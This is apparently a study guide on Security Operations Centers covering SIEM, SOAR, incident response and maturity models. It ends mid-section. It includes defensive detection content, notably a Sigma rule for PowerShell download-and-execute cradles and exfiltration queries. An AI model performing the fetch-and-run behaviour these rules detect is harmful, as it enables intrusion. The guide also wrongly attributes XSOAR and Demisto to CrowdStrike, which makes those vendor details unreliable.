Security Operations Center (SOC)
Table of Contents
- SOC Overview
- SOC Functions
- SIEM (Security Information and Event Management)
- SOAR (Security Orchestration, Automation and Response)
- Incident Response (NIST IR Framework)
- SOC Maturity Levels
- Key Metrics
- Threat Intelligence
- EDR (Endpoint Detection and Response)
- OSCP Exam Relevance
- Practical Examples
- Lab Exercises
- Key Tools
- Exam Tips
- Cross-References
1. SOC Overview
What Is a SOC?
A Security Operations Center (SOC) is a centralized function within an organization that employs people, processes, and technology to continuously monitor and improve an organization’s security posture while preventing and detecting cyberattacks.
The SOC serves as the nerve center of an organization’s cybersecurity defense, operating as the first line of defense against cyber threats. It is responsible for:
- Continuous monitoring of network traffic, endpoints, applications, and cloud environments
- Detection and analysis of security events and potential incidents
- Incident response coordination and execution
- Threat intelligence gathering and integration
- Vulnerability management coordination
- Compliance reporting and audit support
Why Organizations Need a SOC
| Driver |
Description |
| Increasing Attack Volume |
Billions of malicious events occur daily; manual monitoring is impossible |
| Regulatory Requirements |
GDPR, HIPAA, PCI-DSS, SOX mandate continuous monitoring and incident response |
| 24/7 Threat Landscape |
Attacks occur at any time; human analysts cannot work around the clock without burnout |
| Skill Shortage |
Cybersecurity talent gap exceeds 3.4 million positions globally (ISC2 2023) |
| Business Continuity |
A single successful breach can cost millions in downtime, fines, and reputation damage |
| Data Protection |
Organizations must protect sensitive customer, employee, and intellectual property data |
SOC Types
Internal (In-House) SOC
Built and operated entirely within the organization.
┌─────────────────────────────────────────────────┐
│ Internal SOC │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │
│ │ Tier 1 │ │ Tier 2 │ │ Tier 3 │ │
│ │ Analysts │→ │ Analysts │→ │ Analysts │ │
│ └──────────┘ └──────────┘ └──────────────┘ │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │
│ │ SIEM │ │ EDR │ │ Threat Intel │ │
│ │ Platform │ │ Platform │ │ Platform │ │
│ └──────────┘ └──────────┘ └──────────────┘ │
│ │
│ Direct access to internal networks, systems, │
│ and business context │
└─────────────────────────────────────────────────┘
Advantages:
- Full control over security operations
- Deep understanding of internal business processes and assets
- Direct access to internal systems and data
- Customizable to organizational needs
- No third-party data exposure concerns
Disadvantages:
- High capital and operational expenditure
- Requires hiring and retaining skilled personnel
- 24/7 coverage requires shift rotations
- Tool procurement and maintenance overhead
External SOC (MSSP - Managed Security Service Provider)
Outsourced to a third-party provider.
┌──────────────────┐ ┌─────────────────────────┐
│ Your Org │ │ MSSP SOC │
│ │ Feed │ │
│ ┌────────────┐ │───────→│ ┌───────────────────┐ │
│ │ Log Sources│ │ │ │ Multi-tenant SIEM │ │
│ └────────────┘ │ │ └───────────────────┘ │
│ │ │ │ │
│ Receive alerts │←──────│ Shared analyst pool │ │
│ and reports │ Feed │ across many customers │ │
└──────────────────┘ └─────────────────────────┘
Advantages:
- Lower upfront costs
- Access to specialized expertise
| 24/7 coverage without internal staffing
- Economies of scale for tool licensing
- Access to threat intelligence from multiple customers
Disadvantages:
- Less control over security operations
- Potential data privacy concerns
- Generic playbooks may not fit specific business needs
- Communication delays during critical incidents
- Vendor lock-in risk
Hybrid SOC
Combines internal and external capabilities.
┌──────────────────────────────────────────────────────────┐
│ Hybrid SOC │
│ │
│ ┌─────────────────────┐ ┌──────────────────────┐ │
│ │ Internal Team │ │ MSSP Partner │ │
│ │ │ │ │ │
│ │ • Tier 2/3 Analysis │ │ • Tier 1 Monitoring │ │
│ │ • Threat Hunting │ │ • Log Collection │ │
│ │ • IR Coordination │ │ • Initial Triage │ │
│ │ • Strategic Planning│ │ • Basic Alerting │ │
│ └─────────┬───────────┘ └──────────┬───────────┘ │
│ │ │ │
│ └───────────┬───────────────┘ │
│ ▼ │
│ Unified SIEM / SOAR │
└──────────────────────────────────────────────────────────┘
Advantages:
- Best of both worlds
- Internal team focuses on high-value activities
- MSSP handles routine monitoring and initial triage
- Scalable based on organizational needs
Disadvantages:
- Requires careful integration and coordination
- Clear delineation of responsibilities needed
- Potential communication gaps between teams
SOC Team Structure and Roles
Tier 1 Analyst (Security Analyst / SOC Analyst)
The first line of defense, responsible for initial alert triage.
| Aspect |
Details |
| Primary Role |
Monitor SIEM alerts, perform initial triage, escalate when needed |
| Shift Pattern |
24/7 coverage, typically 8-hour shifts |
| Experience |
0-2 years |
| Key Skills |
Log analysis, basic networking, alert triage, ticketing systems |
| Daily Tasks |
Review SIEM alerts, filter false positives, create incident tickets, escalate to Tier 2 |
| Tools |
SIEM console, ticketing system, basic network tools |
| KPIs |
Alert triage time, false positive rate, escalation accuracy |
Typical Day:
08:00 - Shift handover from previous shift
08:30 - Review overnight alerts and pending tickets
09:00 - Begin triaging new SIEM alerts
10:00 - Escalate suspicious alerts to Tier 2
11:00 - Continue monitoring and triage
12:00 - Lunch break (coverage maintained by colleague)
13:00 - Review escalated ticket feedback
14:00 - Continue alert triage
15:00 - Document findings and update tickets
16:00 - Prepare shift handover notes
17:00 - Shift handover to next team
Tier 2 Analyst (Senior Security Analyst / Incident Responder)
Performs deeper investigation and incident response.
| Aspect |
Details |
| Primary Role |
Investigate escalated alerts, perform forensic analysis, coordinate response |
| Shift Pattern |
Business hours with on-call rotation |
| Experience |
2-5 years |
| Key Skills |
Forensic analysis, malware analysis, network forensics, incident response |
| Daily Tasks |
Investigate escalated incidents, perform deep-dive analysis, coordinate containment, document findings |
| Tools |
SIEM, forensic tools (Autopsy, FTK), packet analyzers (Wireshark), sandbox environments |
| KPIs |
Investigation time, containment effectiveness, report quality |
Tier 3 Analyst (Lead Analyst / Threat Hunter)
The most senior analysts, responsible for advanced threats and proactive hunting.
| Aspect |
Details |
| Primary Role |
Advanced threat hunting, malware reverse engineering, threat intelligence analysis |
| Shift Pattern |
Business hours, available for critical incidents |
| Experience |
5+ years |
| Key Skills |
Reverse engineering, advanced threat hunting, threat intelligence, custom tool development |
| Daily Tasks |
Proactive threat hunting, develop detection rules, analyze advanced threats, mentor junior analysts |
| Tools |
Custom scripts, reverse engineering tools (IDA Pro, Ghidra), threat intel platforms, advanced SIEM queries |
| KPIs |
Threats discovered proactively, detection rule effectiveness, mean time to detect |
Incident Responder
Specialized role focused on incident response execution.
| Aspect |
Details |
| Primary Role |
Lead incident response efforts, coordinate containment and recovery |
| Experience |
3-7 years |
| Key Skills |
Incident response frameworks, crisis management, communication, forensic preservation |
| Daily Tasks |
Maintain IR playbooks, lead incident response, coordinate with stakeholders, post-incident reviews |
Threat Hunter
Proactively searches for threats that evaded existing detection.
| Aspect |
Details |
| Primary Role |
Proactive threat hunting, hypothesis-driven investigation |
| Experience |
4+ years |
| Key Skills |
Threat intelligence, behavioral analysis, data analytics, scripting |
| Daily Tasks |
Develop hunting hypotheses, search for indicators, refine detection rules, share findings |
SOC Manager
Leads the SOC team and operations.
| Aspect |
Details |
| Primary Role |
Manage SOC operations, team development, strategy |
| Experience |
7+ years |
| Key Skills |
Leadership, budgeting, vendor management, strategic planning |
| Daily Tasks |
Team management, metric reporting, process improvement, stakeholder communication |
2. SOC Functions
Monitoring
Continuous surveillance of the organization’s security posture.
24/7 Surveillance
┌─────────────────────────────────────────────────────────────┐
│ SOC Monitoring Cycle │
│ │
│ Data Collection → Normalization → Correlation → Alerting │
│ │
│ ┌─────────┐ ┌──────────┐ ┌──────────┐ ┌───────┐ │
│ │ Network │ │ │ │ │ │ SIEM │ │
│ │ Traffic │───→│ Normalize│───→│Correlate│───→│Alert │ │
│ └─────────┘ │ │ │ │ └───┬───┘ │
│ ┌─────────┐ │ │ │ │ │ │
│ │ Endpoints│───→│ │ │ │ ▼ │
│ └─────────┘ │ │ │ │ Analyst │
│ ┌─────────┐ │ │ │ │ Review │
│ │ Cloud │───→│ │ │ │ │
│ └─────────┘ │ │ │ │ │
│ ┌─────────┐ │ │ │ │ │
│ │ Apps │───→│ │ │ │ │
│ └─────────┘ └──────────┘ └──────────┘ │
│ ┌─────────┐ │
│ │ Identity│───→ (same pipeline) │
│ └─────────┘ │
└─────────────────────────────────────────────────────────────┘
Log Collection Sources
| Source Category |
Examples |
Log Types |
| Network |
Firewalls, IDS/IPS, routers, switches, load balancers |
Connection logs, flow data, alerts, configuration changes |
| Endpoints |
Workstations, servers, mobile devices |
Process execution, file access, registry changes, login events |
| Applications |
Web apps, databases, email servers |
Access logs, error logs, audit trails, query logs |
| Identity |
Active Directory, LDAP, SSO, MFA |
Authentication events, privilege changes, group membership |
| Cloud |
AWS, Azure, GCP, SaaS apps |
API calls, configuration changes, access logs |
| Security Tools |
AV/EDR, DLP, vulnerability scanners |
Detection alerts, scan results, policy violations |
Alert Generation
Alerts are generated when events match predefined rules or exhibit anomalous behavior:
Event → Rule Engine → Alert
Example Rule:
IF (source_ip NOT IN internal_ranges)
AND (destination_port = 22)
AND (connection_count > 100 IN 5 minutes)
THEN
Alert = "Potential SSH Brute Force"
Severity = High
Category = "Brute Force"
Triage
Initial assessment and prioritization of alerts.
Triage Process
┌──────────────────────────────────────────────────────────┐
│ Alert Triage Flow │
│ │
│ Alert Received │
│ │ │
│ ▼ │
│ Is it a known false positive? ──Yes──→ Close & Document │
│ │ │
│ No │
│ │ │
│ ▼ │
│ Enrich with context: │
│ • Asset criticality │
│ • User role │
│ • Threat intel match │
│ • Historical data │
│ │ │
│ ▼ │
│ Assess severity: │
│ • Critical: Active breach, data exfiltration │
│ • High: Compromised credentials, malware detected │
│ • Medium: Suspicious activity, policy violation │
│ • Low: Informational, minor anomaly │
│ │ │
│ ▼ │
│ Assign to appropriate analyst │
│ • Tier 1: Low/Medium, routine │
│ • Tier 2: High, needs investigation │
│ • Tier 3: Critical, advanced threat │
└──────────────────────────────────────────────────────────┘
False Positive Filtering
Common false positive scenarios:
| Alert Type |
Common False Positive Cause |
Mitigation |
| Brute force |
Legitimate batch jobs with multiple connections |
Whitelist known batch job IPs and schedules |
| Malware detection |
Security tools flagged as malware |
Add exclusions for known security tools |
| Data exfiltration |
Large legitimate file transfers |
Baseline normal transfer patterns |
| Privilege escalation |
Admin performing legitimate tasks |
Correlate with admin activity schedules |
| Port scanning |
Network monitoring tools |
Whitelist monitoring tool IPs |
Analysis
Deep investigation of confirmed security incidents.
Investigation Techniques
- Timeline Analysis: Reconstruct the sequence of events
- Network Forensics: Analyze PCAP data for malicious traffic
- Host Forensics: Examine memory dumps, disk images, and artifacts
- Log Correlation: Connect events across multiple sources
- Threat Intelligence Matching: Compare IOCs with known threat data
- Behavioral Analysis: Identify anomalous patterns in user/system behavior
Forensic Analysis Workflow
┌──────────────────────────────────────────────────────────┐
│ Forensic Analysis Workflow │
│ │
│ 1. Preservation │
│ • Capture volatile data (memory, running processes) │
│ • Create forensic images (bit-for-bit copies) │
│ • Document chain of custody │
│ │
│ 2. Collection │
│ • Gather logs from all relevant sources │
│ • Capture network traffic │
│ • Collect endpoint artifacts │
│ │
│ 3. Analysis │
│ • Timeline reconstruction │
│ • Malware analysis (static and dynamic) │
│ • Network traffic analysis │
│ • User activity analysis │
│ │
│ 4. Documentation │
│ • Record all findings │
│ • Preserve evidence integrity │
│ • Prepare for potential legal proceedings │
│ │
│ 5. Reporting │
│ • Technical report for IT team │
│ • Executive summary for management │
│ • Legal report if required │
└──────────────────────────────────────────────────────────┘
Response
Containment, eradication, and recovery activities.
Response Strategies
| Phase |
Actions |
| Containment |
Isolate affected systems, block malicious IPs, disable compromised accounts, implement network segmentation |
| Eradication |
Remove malware, patch vulnerabilities, reset credentials, clean infected systems |
| Recovery |
Restore from clean backups, validate system integrity, monitor for recurrence, gradually restore services |
Containment Techniques
Short-term Containment (Immediate):
├── Network Isolation
│ ├── Disconnect affected host from network
│ ├── Block malicious IPs at firewall
│ └── Implement ACLs to restrict lateral movement
├── Account Actions
│ ├── Disable compromised accounts
│ ├── Force password resets
│ └── Revoke active sessions
└── System Actions
├── Kill malicious processes
├── Quarantine malware files
└── Block malicious domains at DNS
Long-term Containment (Sustained):
├── Enhanced Monitoring
│ ├── Increase logging verbosity
│ ├── Deploy additional sensors
│ └── Implement network segmentation
├── Temporary Controls
│ ├── Restrict user privileges
│ ├── Implement additional authentication
│ └── Limit external communications
└── Patch Management
├── Apply emergency patches
├── Update security signatures
└── Harden configurations
Reporting
Communication of security posture and incident details.
Report Types
| Report Type |
Audience |
Frequency |
Content |
| Executive Dashboard |
C-suite, Board |
Monthly |
High-level metrics, risk posture, trends |
| Operational Report |
SOC Team, IT |
Daily/Weekly |
Alert volumes, incident status, resource utilization |
| Incident Report |
Stakeholders, Legal |
Per incident |
Timeline, impact, response actions, lessons learned |
| Threat Intelligence Report |
Security Team |
Weekly/Monthly |
Emerging threats, IOCs, TTPs |
| Compliance Report |
Auditors, Regulators |
Quarterly/Annually |
Control effectiveness, audit findings |
Key Dashboard Metrics
┌────────────────────────────────────────────────────────────┐
│ SOC Executive Dashboard │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌──────────────────┐ │
│ │ Active │ │ Alerts │ │ MTTD: 23 min │ │
│ │ Incidents │ │ Today: 847 │ │ (Target: <60m) │ │
│ │ 12 │ │ FP Rate: │ │ │ │
│ │ │ │ 15% │ │ MTTR: 2.5 hrs │ │
│ │ Critical: 2│ │ Resolved: │ │ (Target: <4h) │ │
│ │ High: 5 │ │ 723 │ │ │ │
│ │ Medium: 5 │ │ Pending: │ │ Coverage: │ │
│ └─────────────┘ │ 124 │ │ 94% │ │
│ └─────────────┘ └──────────────────┘ │
│ │
│ Top Threat Categories: │
│ ████████████████ Phishing (35%) │
│ ████████████ Malware (25%) │
│ ████████ Brute Force (18%) │
│ ██████ Data Exfil (12%) │
│ ████ Other (10%) │
└────────────────────────────────────────────────────────────┘
Threat Intelligence
Collection, analysis, and sharing of threat-related information.
Intelligence Collection Cycle
┌──────────────────────────────────────────────────────────┐
│ Intelligence Cycle │
│ │
│ ┌─────────────┐ │
│ │ Planning │ Define requirements and priorities │
│ └──────┬──────┘ │
│ ▼ │
│ ┌─────────────┐ │
│ │ Collection │ Gather data from sources │
│ └──────┬──────┘ │
│ ▼ │
│ ┌─────────────┐ │
│ │ Processing │ Clean, normalize, structure │
│ └──────┬──────┘ │
│ ▼ │
│ ┌─────────────┐ │
│ │ Analysis │ Identify patterns, assess relevance │
│ └──────┬──────┘ │
│ ▼ │
│ ┌─────────────┐ │
│ │ Dissemination│ Distribute to consumers │
│ └──────┬──────┘ │
│ ▼ │
│ ┌─────────────┐ │
│ │ Feedback │ Evaluate effectiveness, refine │
│ └─────────────┘ │
└──────────────────────────────────────────────────────────┘
STIX/TAXII for Threat Intelligence Sharing
STIX (Structured Threat Information eXpression) is a language for exchanging threat intelligence:
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--b4867854-60ea-569b-b793-16a478650b93",
"created": "2024-01-15T12:00:00Z",
"modified": "2024-01-15T12:00:00Z",
"name": "Malicious C2 Server IP",
"pattern": "[ipv4-addr:value = '198.51.100.23']",
"pattern_type": "stix",
"valid_from": "2024-01-15T12:00:00Z",
"labels": ["malicious-activity"],
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
]
}
TAXII (Trusted Automated eXchange of Intelligence Information) is the protocol for transporting STIX data over HTTPS.
What SIEM Does
A SIEM system aggregates, normalizes, correlates, and analyzes security-relevant data from multiple sources to detect and respond to security incidents.
Core Functions
| Function |
Description |
| Log Aggregation |
Collect logs from all sources into a centralized repository |
| Normalization |
Convert logs to a common format for consistent analysis |
| Correlation |
Connect related events across sources to identify attack patterns |
| Alerting |
Generate alerts when suspicious patterns are detected |
| Reporting |
Generate compliance and operational reports |
| Dashboard |
Visualize security posture and trends |
| Retention |
Store logs for compliance and forensic purposes |
SIEM Architecture
┌──────────────────────────────────────────────────────────────────┐
│ SIEM Architecture │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Data Sources │ │
│ │ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐ │ │
│ │ │FW │ │EDR │ │AD │ │WAF │ │Cloud │ │Apps │ │ │
│ │ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ └──┬───┘ │ │
│ └─────┼────────┼────────┼────────┼────────┼────────┼──────┘ │
│ ▼ ▼ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Log Collectors / Forwarders │ │
│ │ (Syslog, WinEventLog, API, Agent-based) │ │
│ └────────────────────────┬────────────────────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Normalization Engine │ │
│ │ Convert to common schema (e.g., ECS, CEF, LEEF) │ │
│ └────────────────────────┬────────────────────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Correlation Engine │ │
│ │ Apply rules to detect multi-event attack patterns │ │
│ └────────────────────────┬────────────────────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Alert Generation │ │
│ │ Create incidents, assign severity, route to analysts │ │
│ └────────────────────────┬────────────────────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Storage & Indexing │ │
│ │ Hot storage (recent), warm storage (historical), │ │
│ │ cold storage (archival) │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Analytics & Reporting │ │
│ │ Dashboards, reports, threat hunting queries │ │
│ └─────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
| Platform |
Vendor |
Key Features |
Pricing Model |
| Splunk Enterprise Security |
Splunk |
Powerful search, extensive apps, large ecosystem |
Per GB/day ingestion |
| Elastic SIEM (Elastic Security) |
Elastic |
Open-source core, Kibana dashboards, ML capabilities |
Free tier + paid |
| IBM QRadar |
IBM |
Strong correlation, network flow analysis, compliance |
Per device + GB/day |
| Microsoft Sentinel |
Microsoft |
Cloud-native, Azure integration, SOAR built-in |
Per GB ingestion |
| ArcSight ESM |
Micro Focus |
Enterprise-scale, strong compliance, EAL framework |
Per device + GB/day |
| AlienVault USM |
AT&T Cybersecurity |
Unified platform, good for SMBs, open source core |
Free + paid tiers |
How SIEM Detects Attacks
Correlation Rules
Correlation rules connect multiple events to identify attack patterns:
Single Event Detection:
• Failed login attempt → Alert if > threshold
• Malware signature match → Alert immediately
• Port scan detected → Alert if > threshold
Multi-Event Correlation:
• Failed logins + Successful login from same IP → Credential compromise
• File download + Process execution + Network connection → Malware infection
• Privilege escalation + Sensitive file access → Insider threat
Anomaly Detection
SIEMs use statistical and machine learning models to detect anomalies:
| Method |
Description |
Example |
| Baseline Comparison |
Compare current behavior to historical baseline |
User logging in at unusual hour |
| Statistical Analysis |
Identify outliers using statistical methods |
Unusual volume of data transferred |
| Machine Learning |
Train models to detect anomalous patterns |
Unusual process execution sequence |
| Behavioral Analytics |
Monitor user and entity behavior |
User accessing resources outside normal scope |
Writing SIEM Correlation Rules
Splunk SPL Example
# Detect brute force SSH attempts
index=firewall action=blocked dest_port=22
| stats count by src_ip
| where count > 100
| eval severity="High"
| table src_ip, count, severity
# Detect potential data exfiltration
index=proxy dest_ip!=internal_ranges
| stats sum(bytes_sent) as total_bytes by user, dest_ip
| where total_bytes > 1000000000
| eval severity="Critical"
| table user, dest_ip, total_bytes, severity
# Detect lateral movement
index=ad event_code=4624 logon_type=3
| stats values(dest_host) as hosts_accessed count by src_user
| where count > 10
| eval severity="High"
| table src_user, hosts_accessed, count, severity
Elastic SIEM (EQL) Example
# Detect process execution after file download
sequence [file where event.type == "creation"]
[process where event.type == "start"]
by host.id
where timeline.overlap = false
Sigma Rule Example (Vendor-agnostic)
title: Suspicious PowerShell Download Cradle
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects PowerShell commands that download and execute remote content
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'DownloadString'
- 'IEX'
condition: selection
falsepositives:
- Legitimate administrative scripts
level: high
tags:
- attack.t1059.001
- attack.t1105
4. SOAR (Security Orchestration, Automation and Response)
What SOAR Does
SOAR platforms automate and orchestrate security operations through playbooks, reducing response time and analyst workload.
Core Capabilities
| Capability |
Description |
| Orchestration |
Connect multiple security tools and data sources |
| Automation |
Execute repetitive tasks without human intervention |
| Response |
Automate containment and remediation actions |
| Case Management |
Track incidents through their lifecycle |
| Knowledge Management |
Store and share playbooks, procedures, and lessons learned |
| Platform |
Vendor |
Key Features |
| Splunk SOAR (Phantom) |
Splunk |
Extensive app library, visual playbook builder, strong integration with Splunk |
| XSOAR |
CrowdStrike |
Case management, automation, threat intel integration, Copilot AI |
| TheHive |
TheHive Project |
Open source, case management, integrates with Cortex for analysis |
| Demisto |
CrowdStrike |
Now part of XSOAR, extensive marketplace |
| Swimlane |
Swimlane |
Visual automation, strong orchestration capabilities |
Automation Examples
Auto-Containment Playbook
┌──────────────────────────────────────────────────────────┐
│ Auto-Containment Playbook │
│ │
│ Trigger: EDR detects malware on endpoint │
│ │
│ Step 1: Enrich Alert │
│ ├── Query threat intel for file hash │
│ ├── Check if IP is known malicious │
│ └── Identify affected user and asset │
│ │
│ Step 2: Contain │
│ ├── Isolate endpoint from network │
│ ├── Kill malicious process │
│ ├── Quarantine malware file │
│ └── Block C2 IPs at firewall │
│ │
│ Step 3: Investigate │
│ ├── Collect forensic artifacts │
│ ├── Check for lateral movement │
│ └── Identify scope of compromise │
│ │
│ Step 4: Notify │
│ ├── Create incident ticket │
│ ├── Notify Tier 2 analyst │
│ └── Send alert to affected user's manager │
│ │
│ Step 5: Document │
│ ├── Log all actions taken │
│ ├── Update incident timeline │
│ └── Generate preliminary report │
└──────────────────────────────────────────────────────────┘
Alert Enrichment Automation
# Example: Python script for alert enrichment
import requests
def enrich_alert(alert):
enriched = alert.copy()
# Enrich with threat intelligence
if 'ip' in alert:
ip_info = query_virustotal(alert['ip'])
enriched['vt_reputation'] = ip_info.get('reputation', 'unknown')
enriched['vt_tags'] = ip_info.get('tags', [])
# Enrich with asset information
if 'hostname' in alert:
asset_info = query_cmdb(alert['hostname'])
enriched['asset_criticality'] = asset_info.get('criticality', 'medium')
enriched['asset_owner'] = asset_info.get('owner', 'unknown')
# Enrich with user information
if 'username' in alert:
user_info = query_ad(alert['username'])
enriched['user_role'] = user_info.get('role', 'unknown')
enriched['user_department'] = user_info.get('department', 'unknown')
return enriched
5. Incident Response (NIST IR Framework)
NIST SP 800-61 Incident Response Lifecycle
┌─────────────────────────────────────────────────────────────┐
│ NIST IR Framework │
│ │
│ ┌──────────────┐ │
│ │ Preparation │◄────────────────────────────────────┐ │
│ └──────┬───────┘ │ │
│ ▼ │ │
│ ┌──────────────┐ │ │
│ │ Detection & │ │ │
│ │ Analysis │ │ │
│ └──────┬───────┘ │ │
│ ▼ │ │
│ ┌──────────────┐ │ │
│ │ Containment, │ │ │
│ │Eradication, │ │ │
│ │ Recovery │ │ │
│ └──────┬───────┘ │ │
│ ▼ │ │
│ ┌──────────────┐ │ │
│ │Post-Incident │─────────────────────────────────────┘ │
│ │ Activity │ │
│ └──────────────┘ │
└─────────────────────────────────────────────────────────────┘
Phase 1: Preparation
IR Plan Components
| Component |
Description |
| IR Policy |
Formal document defining IR scope, authority, and procedures |
| IR Team |
Defined roles and responsibilities, contact information |
| Communication Plan |
Internal and external communication procedures |
| Tool Inventory |
List of IR tools, forensic kits, and resources |
| Playbooks |
Step-by-step procedures for common incident types |
| Training |
Regular training and tabletop exercises |
IR Team Roles
| Role |
Responsibilities |
| IR Manager |
Overall coordination, decision-making, stakeholder communication |
| Technical Lead |
Technical direction, forensic analysis oversight |
| Analysts |
Investigation, evidence collection, analysis |
| Communications Lead |
Internal/external communication, PR coordination |
| Legal Counsel |
Legal guidance, regulatory compliance, evidence preservation |
| HR Representative |
Employee-related incidents, policy violations |
Phase 2: Detection and Analysis
Detection Sources
| Source |
Examples |
| SIEM Alerts |
Correlation rule matches, anomaly detection |
| EDR Alerts |
Malware detection, suspicious process execution |
| IDS/IPS Alerts |
Network-based intrusion detection |
| User Reports |
Phishing reports, suspicious activity notices |
| Threat Intelligence |
IOC matches, TTP indicators |
| Vulnerability Scans |
Exploited vulnerabilities detected |
| External Notifications |
ISP alerts, law enforcement, other organizations |
Analysis Steps
1. Triage
├── Verify alert validity
├── Determine severity
└── Assign to appropriate responder
2. Scoping
├── Identify affected systems
├── Identify affected users
├── Determine data at risk
└── Assess business impact
3. Prioritization
├── Critical: Active data breach, ransomware
├── High: Compromised credentials, malware
├── Medium: Policy violations, suspicious activity
└── Low: Informational, minor anomalies
4. Investigation
├── Collect evidence
├── Analyze attack vector
├── Determine attacker TTPs
└── Reconstruct attack timeline
Phase 3: Containment
Short-Term Containment
| Action |
When to Use |
Considerations |
| Network Isolation |
Active threat, lateral movement risk |
May disrupt business operations |
| Account Disablement |
Compromised credentials |
Verify before disabling to avoid business impact |
| Firewall Rules |
Known malicious IPs/domains |
Ensure rules are specific to avoid collateral damage |
| Process Termination |
Active malware execution |
May destroy volatile evidence |
Long-Term Containment
| Action |
Description |
| Network Segmentation |
Isolate affected segments while maintaining operations |
| Enhanced Monitoring |
Increase logging and monitoring on affected systems |
| Temporary Access Controls |
Restrict access to sensitive resources |
| Patch Deployment |
Apply patches to exploited vulnerabilities |
Phase 4: Eradication
┌──────────────────────────────────────────────────────────┐
│ Eradication Steps │
│ │
│ 1. Remove Threat │
│ ├── Delete malware files │
│ ├── Remove attacker backdoors │
│ ├── Clean registry entries │
│ └── Remove persistent mechanisms │
│ │
│ 2. Patch Vulnerabilities │
│ ├── Apply security patches │
│ ├── Update antivirus signatures │
│ ├── Harden configurations │
│ └── Close exploited attack vectors │
│ │
│ 3. Reset Credentials │
│ ├── Force password resets for affected accounts │
│ ├── Revoke and reissue certificates │
│ ├── Rotate API keys and tokens │
│ └── Update service account passwords │
│ │
│ 4. Validate Removal │
│ ├── Rescan affected systems │
│ ├── Verify no remaining backdoors │
│ ├── Confirm vulnerability patches applied │
│ └── Validate credential changes │
└──────────────────────────────────────────────────────────┘
Phase 5: Recovery
Recovery Process
| Step |
Actions |
| System Restoration |
Restore from clean backups, rebuild compromised systems |
| Validation |
Verify system integrity, test functionality, confirm threat removal |
| Monitoring |
Enhanced monitoring for recurrence, watch for attacker return |
| Service Restoration |
Gradually restore services, validate business operations |
| Documentation |
Record recovery actions, update incident timeline |
Phase 6: Post-Incident Activity
Lessons Learned Process
┌──────────────────────────────────────────────────────────┐
│ Lessons Learned Workshop │
│ │
│ What went well? │
│ ├── Detection was timely │
│ ├── Response team coordinated effectively │
│ └── Communication was clear │
│ │
│ What could be improved? │
│ ├── Detection gap for this attack type │
│ ├── Response time could be faster │
│ └── Tool integration needs improvement │
│ │
│ Action Items: │
│ ├── Add new detection rule for this TTP │
│ ├── Update IR playbook │
│ ├── Conduct additional training │
│ └── Implement new tool or integration │
│ │
│ Follow-up: │
│ ├── Assign owners to action items │
│ ├── Set deadlines │
│ └── Schedule review of progress │
└──────────────────────────────────────────────────────────┘
6. SOC Maturity Levels
Maturity Model
| Level |
Name |
Characteristics |
| Level 1 |
Initial |
Ad-hoc processes, manual operations, no formal SIEM, reactive only |
| Level 2 |
Developing |
Basic SIEM deployed, some automation, documented procedures, partial coverage |
| Level 3 |
Defined |
Standardized processes, SOAR integration, full coverage, proactive monitoring |
| Level 4 |
Managed |
Proactive threat hunting, advanced analytics, continuous improvement, metrics-driven |
| Level 5 |
Optimized |
AI/ML integration, predictive capabilities, automated response, industry-leading |
Detailed Maturity Breakdown
Level 1: Initial
┌──────────────────────────────────────────────────────────┐
│ Level 1: Initial SOC │
│ │
│ People: │
│ ├── IT staff handling security ad-hoc │
│ ├── No dedicated SOC team │
│ └── Limited security training │
│ │
│ Process: │
│ ├── No formal IR plan │
│ ├── Reactive only │
│ └── No documented procedures │
│ │
│ Technology: │
│ ├── Basic antivirus │
│ ├── Firewall with no centralized logging │
│ └── No SIEM or EDR │
│ │
│ Coverage: │
│ ├── Limited visibility │
│ ├── No 24/7 monitoring │
│ └── Blind spots in monitoring │
└──────────────────────────────────────────────────────────┘
Level 2: Developing
┌──────────────────────────────────────────────────────────┐
│ Level 2: Developing SOC │
│ │
│ People: │
│ ├── Dedicated SOC analysts (Tier 1) │
│ ├── Basic training programs │
│ └── Shift coverage during business hours │
│ │
│ Process: │
│ ├── Basic IR plan documented │
│ ├── Alert triage procedures │
│ └── Incident ticketing system │
│ │
│ Technology: │
│ ├── SIEM deployed (basic configuration) │
│ ├── Log collection from key sources │
│ └── Basic correlation rules │
│ │
│ Coverage: │
│ ├── Core systems monitored │
│ ├── Business hours monitoring │
│ └── Some automated alerting │
└──────────────────────────────────────────────────────────┘
Level 3: Defined
┌──────────────────────────────────────────────────────────┐
│ Level 3: Defined SOC │
│ │
│ People: │
│ ├── Tiered SOC team (Tier 1, 2, 3) │
│ ├── Formal training and certification programs │
│ └── 24/7 coverage with shift rotations │
│ │
│ Process: │
│ ├── Standardized IR procedures │
│ ├── SOAR playbooks for common incidents │
│ ├── Regular tabletop exercises │
│ └── Metrics tracking and reporting │
│ │
│ Technology: │
│ ├── Fully configured SIEM with custom rules │
│ ├── EDR deployed on all endpoints │
│ ├── SOAR platform for automation │
│ └── Threat intelligence integration │
│ │
│ Coverage: │
│ ├── Comprehensive log collection │
│ ├── 24/7 monitoring │
│ └── Automated response for common threats │
└──────────────────────────────────────────────────────────┘
Level 4: Managed
┌──────────────────────────────────────────────────────────┐
│ Level 4: Managed SOC │
│ │
│ People: │
│ ├── Mature SOC team with specialized roles │
│ ├── Threat hunting team │
│ ├── Continuous professional development │
│ └── Cross-functional collaboration │
│ │
│ Process: │
